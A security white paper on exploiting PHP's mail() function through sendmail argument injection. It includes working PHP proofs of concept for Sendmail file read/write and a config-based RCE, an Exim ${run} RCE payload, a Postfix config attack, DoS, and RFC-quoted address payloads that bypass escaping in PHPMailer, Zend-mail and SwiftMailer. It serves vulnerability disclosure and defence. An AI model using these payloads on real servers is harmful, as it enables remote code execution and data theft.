|=-----------------------------------------------------------------------=|
|=-------------=[ Pwning PHP mail() function For Fun And RCE  ]=---------=|
|=---------------=[ New Exploitation Techniques And Vectors ]=-----------=|
|=----------------------------=[ Release 1.0 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ by https://legalhackers.com/ ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------=[ https://ExploitBox.io     ]=-------------------=|
|=---------------------=[ @Exploit_Box              ]=-------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of contents

0 - Introduction
1 - SMTP protocol - RFC 2821
2 - The mail() function
    2.1 - The 5th parameter ($additional_parameters)
    2.2 - The /usr/sbin/sendmail interface invoked by the mail() function
3 - Sendmail Command Injection via mail() and $additional_parameters
    3.1 - escapeshellcmd() escaping
    3.2 - Sendmail Command Parameter Injection
4 - Differences in the implementation of /usr/sbin/sendmail
5 - Known exploitation vectors
    5.1 - Sendmail MTA: Arbitrary File Read with -C argument
    5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution
6 - New exploitation vectors/techniques discovered by the author
    6.1 - All MTAs: Snatching emails / Performing Recon
    6.2 - Sendmail MTA: Improvements to the existing File Write vector
    6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config
    6.4 - Exim MTA: Remote Code Execution
    6.5 - Postfix MTA: Code Execution via malicious config
    6.6 - Sendmail MTA: Denial of Service via File Read + File Append
7 - The param injection point & Real World vulnerability examples
    7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer)
    7.2 - The sender injection via SetFrom() method of the PHP email libs
    7.3 - Other injection points / ways to exploit mail() vulnerabilities
8 - Bypass techniques
    8.1 - The beauty of RFC 3696 & RFC 822
    8.2 - Bypassing escapeshellarg() applied on mail()
9 - Credits
10 - References
11 - Disclaimer



--[ 0 - Introduction

This white-paper strives to clear the common misonception in regards to 
the limitations in exploitation of the PHP mail() function and show that 
the exploitation can be taken further than what is currently believed. 

It presents several new exploitation vectors and bypass techniques
on the PHP mail() function that were discovered and recently released by the 
author of this white-paper in the course of finding multiple critical 
vulnerabilities in major PHP e-mail sending libraries (PHPMailer, Zend 
Framework / Zend-mail, SwiftMailer) that are used by millions of web 
applications/projects (e.g Wordpress, Drupal, Joomla etc.)  and PHP 
programming frameworks (Zend, Yii2, Symphony, Laravel etc.)

The techniques include Exim vector that was believed to not be exploitable
via mail() function. This vector takes the mail() injection attacks to 
a new level.

A successful exploitation of the mail() function, could allow attackers to
achieve Remote Code Execution and other malicious goals.


--[ 1 - SMTP protocol - RFC 2821

According to the RFC 2821
https://www.ietf.org/rfc/rfc2821.txt

A client email program would typically send a set of SMTP commands similar
to the following when connecting to an SMTP server:

HELO server-port25.com
MAIL FROM: <support@server-port25.com>
RCPT TO: <jdoe@dest-server.com>

DATA
From: "John Smith" <jsmith@server-port25.com>
Reply-To: "Another Johns email" <John2@another-server25.com>
To:   "Jane Doe" <jdoe@dest-server.com>
Subject: test message
Date: Wed, 4 Jan 2017 06:19:57 -0400

Hello World,

This is a test message sent by SMTP

Regards

.


The important part from the perspective of understanding PHP mail()
function / sendmail's email address usage described further on is that SMTP
client specifies email addresses related to the sender addresses in 2 
places:

MAIL FROM: <support@server-port25.com>

and in the header set:

From: "John Smith" <jsmith@server-port25.com>
Reply-To: "Another Johns email" <John2@another-server25.com>

that is sent after the DATA command.


The first will be used by the destination SMTP server to return an email 
in case of a delivery problem. 

The latter will be used entirely by the email client software (such as
Outlook, Thunderbird etc.) of the user who receives the email, to display
the sender information (based on the From header) in a 'From' address
field as well as to decide (based on Reply-To header if present, or From 
header if missing) which address to reply to when the user clicks the 
Reply button.

--[ 2 - The mail() function

mail() is a standard PHP function that is used as an interface for sending
e-mails from PHP scripts.
http://php.net/manual/en/function.mail.php

The function has the following definition:

# php --rf mail

Function [ <internal:standard> function mail ] {

  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}


From an attacker's perspective, the last (5th) argument is the
most interesting as it can allow injection of additional parameters to
/usr/bin/sendmail program installed on the system which is transparently 
used by mail() to deliver the actual message.


--[ 2.1 - The 5th parameter ($additional_parameters)

The 5th parameter is optional. Many web applications use it however
to set envelope sender address / return-path with the parameter:

-f email@server-address.com

or alternatively:

-r email@server-address.com

The parameter with the address will be passed to /usr/sbin/sendmail, which
will use the email address to inform the receiving email server about the 
origin/sender (through the 'MAIL FROM' SMTP command), for it to know where 
to return an error message in case of a delivery failure.


--[ 2.2 - The /usr/sbin/sendmail interface invoked by the mail() function

/usr/sbin/sendmail program, as the name suggests, is an interface that
can be used for sending emails. 
It is provided by the mail transfer agent (MTA) software installed on the 
system (such as Sendmail, Postfix etc.). 

When an email is sent with mail() by this simple PHP script:

<?php
	$to      = "john@localhost";
	$subject = "Simple Email";
	$headers = "From: mike@localhost";
	$body    = 'Body of the message';

	$sender  = "admin@localhost";

	mail($to, $subject, $body, $headers, "-f $sender");
?>

PHP will make the following execve() call to execute sendmail program:

execve("/bin/sh", 
       ["sh", "-c", "/usr/sbin/sendmail -t -i  -f admin@localhost"],
       [/* 24 environment vars */])

and pass the following data to its STDIN:

To: john@localhost
Subject: Simple Email
X-PHP-Originating-Script: 0:simple-send.php
From: mike@localhost

Body of the message

The -t and -i parameters are added by PHP automatically.
Parameter -t makes sendmail extract headers from STDIN , and -i prevents
sendmail from treating '.' as the end of input.
The -f comes from the 5th parameter of the mail() function call.

What is interesting here is that the sendmail command gets executed with the 
help of the system shell (sh) which creates some opportunities for command
injection attacks if the application passes untrusted input to the last
/ the 5th parameter of mail() function.

--[ 3 - Sendmail Command Injection via mail() and $additional_parameters

If an attacker was able to inject data to the 5th parameter of mail() 
function, for example by means of the $sender variable set to an unfiltered
GET variable:

	$sender = $_GET['senders_email'];
	mail($to, $subject, $body, $headers, "-f $sender");

The attacker could inject arbitrary extra parameters to the 
/usr/sbin/sendmail command by making the request to the PHP script:

http://webserver/vulnerable.php?senders_email=attackers@email%20extra_data

which would execute mail() as:

mail(..., "-f attackers@email extra_data");

which would lead to executing sendmail with the parameters:

/usr/sbin/sendmail t -i -f attackers@email extra_data

--[ 3.1 - escapeshellcmd() escaping

The important thing to note is that the mail() function performs command
escaping internally by essentially calling the :

escapeshellcmd($additional_parameters)

function, so that shell metacharacters will not work. For example, 
setting 

$senders_email GET variable to: 

attacker@remote > /tmp/shell_injection

will not lead to the file creation of the shell_injection file as >
character will get escaped by the escapeshellcmd() and the sendmail
call will turn into:

/usr/sbin/sendmail t -i -f attacker@remote \> /tmp/shell_injection

thus preventing the special function of the '>' shell metacharacter.

--[ 3.2 - Sendmail Command Parameter Injection

The attacker can however inject additional command parametrs to the 
sendmail command itself as the escapeshellcmd() function called by mail()
does not quote the $additional_parameters parameter by default.
It gives a programmer freedom to pass multiple arguments to sendmail,
but may introduce a vulnerability to unaware programmers.

A successful injection of additional parameters to sendmail, might 
trigger additional functionality of the sendmail program itself.

For example, if the attacker managed to set $return variable to:

attackere@remote -LogFile /tmp/output_file

The sendmail program would be called as a shell command:

/usr/sbin/sendmail -t -i -f attackere@remote -LogFile /tmp/output_file

If the -LogFile was a valid argument for the sendmail interface installed
on the target machine, this could cause the program to write out a log file
into /tmp/output_file.

As it turns out Sendmail MTA has such a logging function in its
implementation of /usr/sbin/sendmail interface, which can be enabled by 
-X parameter and could be used to save malicious code provided by the 
attacker.

--[ 4 - Differences in the implementation of /usr/sbin/sendmail

As mentioned in the previous chapters, sendmail interface is provided by
the MTA email software (Sendmail, Postfix, Exim etc.) installed on the
system. 

Although the basic functionality (such as -t -i -f parameters) remains the
same for compatibility reasons, other functions and parameters vary 
greatly depending on the MTA installed. 
For example, the aforementioned -X parameter that can be used for logging
is only implemented in the Sendmail MTA's version of /usr/sbin/sendmail
interface. 
The others, simply implement it as a dummy switch, for compatibility
reasons or do not support it at all.

For this reason the man page for sendmail program varies depending on the
MTA installed on the system.

Here are a few examples of different man pages of sendmail command/interface:

Sendmail MTA:
http://www.sendmail.org/~ca/email/man/sendmail.html

Postfix MTA:
http://www.postfix.org/mailq.1.html

Exim MTA:
https://linux.die.net/man/8/exim


--[ 5 - Known exploitation vectors

The potential malicious usage of the 5th parameter of mail() involving
parameter injection to /usr/sbin/sendmail apears to be first uncovered by 
Sogeti/ESEC company in the blog post released in 2011:

http://esec-pentest.sogeti.com/posts/2011/11/03/using-mail-for-remote-code-execution.html

The blog post revealed 2 exploitation vectors for Sendmail MTA that
may allow an attacker to * read/write to an arbitrary file and potentially
gain Remote Code Execution via -C and -X parameters to sendmail interface
provided by Sendmail MTA.

These 2 vectors only work on Sendmail MTA, and are presented below.

--[ 5.1 - Sendmail MTA: Arbitrary File Read with -C argument

From sendmail man page:

-Cfile 
 Use alternate configuration file.

-X logfile
 Log all traffic in and out of mailers in the indicated log file.  

These 2 parameters can be combined to cause sendmail to load an arbitrary
file as the config, and output the contents as a set of error messages
(due to unknown config lines).


For example, if attacker injected: 

-C/etc/passwd -X/tmp/output.txt

as the 5th parameter of mail(), the following command would get executed:

/usr/sbin/sendmail -i -t -C/etc/passwd -X/tmp/output.txt

which would save the following data into /tmp/output.txt:

/etc/passwd: line 1: unknown configuration line
"root:x:0:0:root:/root:/bin/bash"
/etc/passwd: line 2: unknown configuration line
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"
/etc/passwd: line 3: unknown configuration line
"bin:x:2:2:bin:/bin:/usr/sbin/nologin"
/etc/passwd: line 4: unknown configuration line
"sys:x:3:3:sys:/dev:/usr/sbin/nologin"
/etc/passwd: line 5: unknown configuration line
"sync:x:4:65534:sync:/bin:/bin/sync"
/etc/passwd: line 6: unknown configuration line
"games:x:5:60:games:/usr/games:/usr/sbin/nologin"
...

For the attack to be useful to a remote attacker. The output file would
need to be placed in a writable directory under the document root where it
could be retrieved by the attacker through the web server.

--[ 5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution

The -X parameter can also be used in combination with the:

-OQueueDirectory=/tmp/

parameter of Sendmail MTA's version of /usr/sbin/sendmail interface.

The parameter is described by the man page as:

       QueueDirectory=queuedir
              Select the directory in which to queue messages.

Attacker needs to select a world-writable directory to allow for saving
temporary files.

This will allow to successfully send a message passed to sendmail, as well
as save to the log file into an arbitrary file pointed by -X parameter. 

Simple PoC:

<?php
	$sender = "attacker@anyhost -OQueueDirectory=/tmp/ -X/tmp/poc.php";
	$body   = '<?php phpinfo(); ?>';
	// ^ unfiltered vars, coming from attacker via GET, POST etc.

	$to = "john@localhost";
	$subject = "Simple Email";
	$headers = "From: mike@localhost";

	mail($to,$subject,$body,$headers, "-f $sender ");
?>

The PoC will save the PHP code within $body into the log file with this
resulting contents of /tmp/poc.php:

06272 <<< To: john@localhost
06272 <<< Subject: Simple Email
06272 <<< X-PHP-Originating-Script: 0:simplepoc.php
06272 <<< From: mike@localhost
06272 <<< 
06272 <<< <?php phpinfo(); ?>
06272 <<< [EOF]


As the attacker might be able to control both the filename and contents,
this could potentially result in Arbitrary PHP code execution if the 
attacker managed to save it under a writable directory within the document 
root such as:

-X/var/www/html/webapp1/upload/backdoor.php

which they could then execute by a GET request:

http://victim-server/webapp1/upload/backdoor.php

For this to work, the upload directory must have enabled parsing/execution
of PHP files which sometimes gets turned off for security reasons by the
administrator or by the webapplication installer (via special rules in
.htaccess placed within the upload directory).

Also note that the output log file contains a lot of debug information 
added by Sendmail MTA. 


--[ 6 - New exploitation vectors/techniques discovered by the author

Sendmail MTA is rarely used due to its complexity and a history of 
vulnerabilities. 
It is no longer used by modern Linux distributions as the default MTA and
have been replaced with Postfix MTA on RedHat-based systems such as CentOS,
and with Exim MTA on Debian-based systems such as Ubuntu, Debian etc.

This makes it quite difficult to find Sendmail MTA in a real-world setups.
On systems where it is available, the exploitation could sometimes be 
tricky due to the aforementioned limitations (correct webroot paths, 
requirement for a php-executable/writable directory, mised-up payload).

As both of the known vectors presented in previous chapter require Sendmail
MTA to work, the author has performed a new research which lead to the 
discovery of new exploitation vectors/techniques that may be used
on systems with modern MTAs such as Exim and Postfix. 
The research has also produced a new vector for Sendmail MTA as well as
some improvements to the already-known vectors.

--[ 6.1 - All MTAs: Snatching emails / Performing Recon

One of the arguments that does not change across different MTAs is the 
list of additional recipients which comes after the option list as per
this man page:


       sendmail [option ...] [recipient ...]

If attacker control the 5th parameter of mail() they can simply append
an extra recipient as shown below:

<?php
// Recon via mail() vector on all MTAs / sendmail versions
//
// Created by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

        $sender = "nobody@localhost attacker@anyhost-domain.com";
        // ^ unfiltered var, coming from attacker via GET, POST etc.

        $to = "support@localhost";
        $headers = "From: mike@localhost";
        $subject = "Support ticket: Remote Recon PoC";
	$body = "Show me what you got!";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>

which would execute the command: 

/usr/sbin/sendmail -t -i -f support@localhost attacker@anyhost-domain.com

and send an email similar to the following right into the attacker's 
mailbox attacker@anyhost-domain.com:

Return-Path: <nobody@localhost>
Received: from localhost (localhost [127.0.0.1])
	by localhost (8.14.4/8.14.4/Debian-8+deb8u1) with ESMTP
id v04FSqQ5008197;
	Wed, 4 Jan 2017 10:28:52 -0500
Received: (from www-data@localhost)
	by localhost (8.14.4/8.14.4/Submit) id v04FSqEU008196
	for attacker@anyhost-domain.com; Wed, 4 Jan 2017 10:28:52 -0500
Date: Wed, 4 Jan 2017 10:28:52 -0500
Message-Id: <201701041528.v04FSqEU008196@localhost>
X-Authentication-Warning: localhost: www-data set sender to
nobody@localhost using -f
To: support@localhost
Subject: Support ticket: Remote Recon PoC
X-PHP-Originating-Script: 1000:recon-test.php
From: mike@localhost


This might reveal:

* version of operating system in use (Debian)

* server IPs

* the version of MTA in use (8.14.4 in this case, which is Sendmail MTA)

* the name of the script that sent the message (recon-test.php) which
could reveal the name of the email sending library/framework in use e.g:

X-PHP-Originating-Script: 0:class.phpmailer.php

If an application uses a dedicated email library such as PHPMailer,
Zend-mail etc. it might also append its version header.
For example:

X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)

Knowing the library in use attacker can adjust their attack to the
specific OS / MTA and PHP email library in use.

For example, the above version of PHPMailer is vulnerable to:

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

discovered by the author.

--[ 6.2 - Sendmail MTA: Improvements to the existing File Write vector

It is mistakenly believed that -X parameter requires a full path and
therefore an attacker needs to guess the webroot of a vulnerable website.

This is however not true as sendmail will also accept a relative path.
This allows the attacker to simply use the current working directory
of the remote vulnerable script as a reference. 
If the remote script is running at the top level of the webroot,
the attacker may try to inject the following argument:

-X ./upload/backdoor.php

instead of

-X /var/www/html/webapp1/guessed-webroot/


Additionally, the somewhat long:

-OQueueDirectory=/tmp/

parameter can also be reduced to:

-oQ/tmp/

which might be useful if a web application limits the size of the $sender
string, as well as to bypass potential filtration of '=' character etc.

--[ 6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config

In a secure deployment of a webapp, PHP script execution might be disabled 
within the upload directory and the application might only allow upload
of static files such as text files, images etc.

A new vector was discovered that could allow RCE despite these limitations.

As sendmail interface allows to load a custom Sendmail MTA config file via

-C

argument to /usr/sbin/sendmail , an attacker could upload a malicious
config file as a static/text file via webapp's upload feature and use
it to force Sendmail to execute malicious code upon processing an 
email message.

This could be achieved by making a copy of /etc/mail/sendmail.cf config
file and replacing the default Mlocal mail handler present at the end
of the file with a Sendmail config shown below (between the # lines):

<?php

/*
##########################################################################
# Sendmail MTA config vector executing /usr/bin/php that loads RCE code
# on stdin passed by mail() (e.g. within message body / subject etc.)
#
# Make a copy of a sendmail.cf config from /etc/mail/sendmail.cf 
# and then append this config stanza/vector to the end of it. 
# Such stanza can then be uploaded to the target webapp into upload/ dir
# for example with an example name of: sendmail_cf_exec
#
# Created by:
# Dawid Golunski - @dawid_golunski - https://legalhackers.com

Mlocal,		P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
                R=EnvToL/HdrToL,
		T=DNS/RFC822/X-Unix,
		A=php -- $u $h ${client_addr}
##########################################################################
*/

        $sender = "attacker@anyhost -oQ/tmp/ -C./upload/sendmail_cf_exec 
www-data@localhost";

        $body   = 'PHP RCE code: <?php system("touch /tmp/PWNED"); ?>';
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $to = "john@localhost";
        $subject = "Exim RCE PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");

?>


The $sender payload will use relative path to load the crafted Sendmail MTA
config file from (previously uploaded with the static file uploader) 
upload/sendmail_cf_exec and use it to process the incoming email from 
mail() function. 
Sendmail MTA will then spawn /usr/bin/php process and process the
attacker's payload within the $body of the message.

Apart from the remote exploitation with static file upload scenario,
this vector could obviously also be very easily used in a shared hosting
environment. 
In such a case, an attacker could easily use /tmp directory to prepare
the malicious config and then use mail() vulnerability in the target app 
to load the config and gain code execution in the context of the victim
user.

--[ 6.4 - Exim MTA: Remote Code Execution

Exim MTA is the default MTA software installed with Debian-based systems
such as Ubuntu and Debian. 

The /usr/sbin/sendmail interface provided by Exim4 has a fairly rich set 
of functions.
The research uncovered -be option which can be very useful to attackers.

The man page states:

       -be       Run Exim in expansion testing mode. Exim discards its root
privilege, to prevent ordinary users from using this mode to read otherwise
inaccessible files.
                 If no arguments are given, Exim runs interactively,
prompting for lines of data. Otherwise, it processes each argument in turn.


The exim syntax/language provided by Exim was investigated for interesting
variables that could be expanded.
The exim syntax allows expanding standard variables such as: '$h_subject'
or '$recipients'. 

Further research however uncovered ${run} which can be expanded to return
a result of a shell command.

For example, the following string: 

${run{/bin/true}{yes}{no}}

would be expanded to 'yes' upon successful execution of /bin/true.

This was quickly turned into Arbitrary Remote Code Execution payload
which would execute arbitrary shell command passed within $body of the
message:

<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

        $sender = "attacker@anyhost -be";
        $body   = 'Exec: ${run{/bin/bash -c "/usr/bin/id
>/tmp/id"}{yes}{no}}';
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $to = "john@localhost";
        $subject = "Exim RCE PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>


This exploit vector seems the most powerful as it can allow attackers to 
achieve instant RCE on systems with Exim MTA. 
The code will get executed as soon as injected parameter/body of mail() 
function gets passed to /usr/sbin/sendmail. 
There is no need to write to any files and therefore writable directories
that are parsed by PHP engine are not required.


--[ 6.5 - Postfix MTA: Code Execution via malicious config

Postfix has proved to be more tricky during the research. 

Nevertheless it was possible to determine a way that an attacker could use
to achieve code execution when the attacker and the target reside within
the same shared hosting environment. 

Certain setups could also make it possible to carry out the attack
remotely.

Similarly to Sendmail MTA, the /usr/sbin/sendmail interface provided by Postfix 
MTA has a -C switch that can be used to load a custom config.

sendmail will fail however as soon as the attacker's message message is
passed to postdrop command for proessing. 
Postdrop will notice the -C config and stop further execution.

This could be bypassed however by creating a custom main.cf Postfix config
in /tmp/main.cf file with the following setting:

mailbox_command = /tmp/postfixfakebin/

The attacker could then place a malicious bash script/binary within the
postfix_fake_bin directory and inject the following parameter to the
/usr/sbin/sendmail interface provided by Postfix MTA, through mail()
parameter injection as shown in the PoC below:


<?php
/*
 Code Exec via mail() vector on Postfix MTA

 Attacker's shell cmds must be placed under postdrop file within a shared 
 directory e.g. /tmp/postfixfakebin/postdrop

 A config line of: 

 mailbox_command = /tmp/postfixfakebin/

 must also be added to a shared directory e.g. /tmp/main.cf

 Created by:
 Dawid Golunski - @dawid_golunski - https://legalhackers.com
*/
        $sender = "attacker@anyhost -C /tmp/";
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $body   = 'Simple body, the payload is in postdrop anyway';
        $to = "john@localhost";
        $subject = "Postfic exec PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>



This scenario could potentially be exploited remotely if a target webapp
(vulnerable to mail() param injection) provides a file manager utitlity
that allows the attacker to create directories/files but does not
parse PHP files.

Another remote scenario could include a file uploader which lets users
upload ZIP files. A malicious zip could contain main.cf and postdrop 
script/binary which gets extracted into a known location.

--[ 6.6 - Sendmail MTA: Denial of Service via File Read + File Append

The -C and -X parameters could be used to perform a Denial of Service
attack on the target by reading big known files such as web server logs
with -C option and appending them to a file in a writable directory
by the web server such as /tmp , /var/www/html/upload ,
/var/lib/php5/sessions etc. to exhaust disk space necessary for the correct
operation of the web application / the OS.

Although this specific example is limited to Sendmail MTA, this vector 
likely affects more MTA servers and there likely are other parameters 
supported by the remaining MTAs that could carry out a similar DoS attack.

--[ 7 - The param injection point & Real World vulnerability examples

The mail() parameter injection was deemed hardly exploitable / impractical
for many years as the 5th parameter of mail() has been thought to be
rarely exposed to malicious input outside of web application control panels
which are usually restricted to administrative users and therefore are
usually of little use to remote attackers.
Finding a mail() param injection vulnerability, would also not necessarily 
guarantee a successful exploitation as it would depend on installed MTA on
the web server (its sendmail interface) and up until now the only option was
rarely used Sendmail MTA with the 2 vectors -X -C (File Write / Read) which
decreased the attack surface further.

For this reason, the new attack vectors presented in the previous chapter
could be very useful in exploitation of the real world new vulnerabilities
described further on and open more attack possibilities.


--[ 7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer)

Recently a set of mail() param injection vulnerabilities was exposed by the
author: 

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)

SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

Zend Framework/zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)

The details can be seen in the respective advisories, however we can have a
quick look at the problem they all shared, on the example of PHPMailer.


--[ 7.2 - The sender injection via SetFrom() method of the PHP email libs

Similarly to the other email libraries, PHPMailer class uses PHP mail() 
function as its default transport.

The transport was implemented using the mailSend() function:

    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a
        //return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }
...
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject,
$body, $header, $params);


as can be seen, it creates a $params variable that appends $this->Sender 
property  to '-f ' string to create a sendmail parameter (Envelope Sender 
/ MAIL FROM) that gets passed to the mail() function as the 5th parameter.

The internal $this->Sender property can be validated and set by calling 
the setFrom() method of PHPMailer class. This looks as follows:

public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or
!$this->idnSupported()) and
    !$this->validateAddress($address)) {
...


In theory, setFrom() should rarely be exposed to untrusted user input, and
even if it was, there is a validation function in place that validates
the email to be RFC 822 compliant so this should not be a problem. 

The PHPMailer tutorial at:
https://github.com/PHPMailer/PHPMailer/wiki/Tutorial

shows a basic usage PHPMailer as:

<?php
	require 'PHPMailerAutoload.php';
	$mail = new PHPMailer;
	$mail->setFrom('from@example.com', 'Your Name');
	$mail->addAddress('myfriend@example.net', 'My Friend');
	$mail->Subject  = 'First PHPMailer Message';
	$mail->Body     = 'Hi! first e-mail from PHPMailer.';

	if(!$mail->send()) {
	  echo 'Message was not sent.';
	  echo 'Mailer error: ' . $mail->ErrorInfo;
	} else {
	  echo 'Message has been sent.';
}


Contrary to what the name might suggest, this setFrom() example should not 
however be used for storing an address provided by visitors.

Unfortunatelly, due to the name of the function and the popularity of the
code snippet, many scripts use setFrom() to set the visitor's 'From' e-mail
address passed through a field in various Contact and Feedback forms.

Unaware that they should be using AddReplyTo() (which sets the 
DATA/Reply-To header, as opposed to the MAIL FROM/Envelope Sender address)
instead.

Implementation with setFrom() will however achieve the result and the 
Contact/Feedback form may work as expected, even though it does not conform 
to the email best practice.

This would not make a severe security flaw , if it was not for the fact
that the untrusted email address set with setFrom() would end up as the
5th parameter to mail() function and the RFC validation could be bypassed.
This made it possible to inject arbitrary parameters to /usr/sbin/sendmail 
and lead to a critical Remote Code Execution flaw that could be exploited 
via a range of vectors presented in the previous chapter.

As mentioned, the other PHP libraries had a very similar flaw which was 
later dubbed with a name - "PwnScriptum".

More details together with a demo of this vulnerability showing how it 
could get exploited via a Contact form can be seen at: 

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

A limited exploit has also been shared at:
https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py


--[ 7.3 - Other injection points / ways to exploit mail() vulnerabilities

The remaining real-world examples will be described in the next version of
this white-paper once the issues have been fixed by certain vendors that 
are currently working on security patches.


--[ 8 - Bypass techniques

This chapter presents some bypass techniques that might come in handy to
bypass similar protections. 

The next 2 were used to bypass protections offered by the PHP email libraries
discussed in the previous chapter.

--[ 8.1 - The beauty of RFC 3696 & RFC 822

The RFC 3696 / RFC 822 standards

https://tools.ietf.org/html/rfc3696
https://www.ietf.org/rfc/rfc0822.txt

emails to take the following forms:

      Abc\@def@example.com

      Fred\ Bloggs@example.com

      Joe.\\Blow@example.com

      "Abc@def"@example.com

      "Fred Bloggs"@example.com


The generosity of these standards allowed the author to construct a valid email
address that complies with the RFCs but is at the same time a malicious payload
for the 5th argument of mail():

"Attacker \" -Param2 -Param3"@test.com

when passed to a vulnerable PHP email library and then to mail() function, it
would cause sendmail to execute with the parameters:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Attacker could thus break out of the -f parameter context and inject additional 
parameters (arg no. 4 and arg no. 5 in the example above).

--[ 8.2 - Bypassing escapeshellarg() applied on mail()

It seems intuitive that additional parameters passed to sendmail via the 5th 
parameter of mail() function should be single quoted with escapeshellarg()
function which has been designed for this kind of purpose. 

Unfortunatelly, it clashes with the internal command escaping performed 
internally by the mail() function. 

A good example of this is the CVE-2016-10033 vulnerability which turned
into a new vulnerability of CVE-2016-10045 , as the fix of this kind could
be bypassed due to the clashing and setting the Sender to:

$mail->SetFrom("\"Attacker\\' -Param2 -Param3\"@test.com", 'Client Name');

would result in the followig list of arguments passed to sendmail program:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-f\"Attacker\\\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com']

which again resulted in arbitrary parameters (arg 4 & 5) passed to
/usr/sbin/sendmail.


--[ 9 - Credits

This security white-paper has been written by:

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

dawid[at]legalhackers.com

Please add a link back to this paper if the information proved to 
be useful to you.


--[ 10 - References


[0] https://legalhackers.com/
[1] https://www.ietf.org/rfc/rfc2821.txt
[2] http://php.net/manual/en/function.mail.php
[3] http://www.sendmail.org/~ca/email/man/sendmail.html
[4] http://www.postfix.org/mailq.1.html
[5] https://linux.die.net/man/8/exim
[6] https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
[7] https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py
[8] https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html


--[ 11 - ExploitBox - A Playground For Hackers

Interested in vulns/exploitation?
 

                        .;lc'
                    .,cdkkOOOko;.
                 .,lxxkkkkOOOO000Ol'
             .':oxxxxxkkkkOOOO0000KK0x:'
          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.
      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.
     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
     .dxxxxxdl;. .,               .. .;cdxxxxxx:
     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:
      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.
          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
             .':oxxxxxxxxx.ckkkkkkkkxl,.
                 .,cdxxxxx.ckkkkkxc.
                    .':odx.ckxl,.
                        .,.'.

 https://ExploitBox.io

 https://twitter.com/Exploit_Box


Subscribe to stay updated and be there for the launch.



--[ 12 - Disclaimer

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.


--[ EOF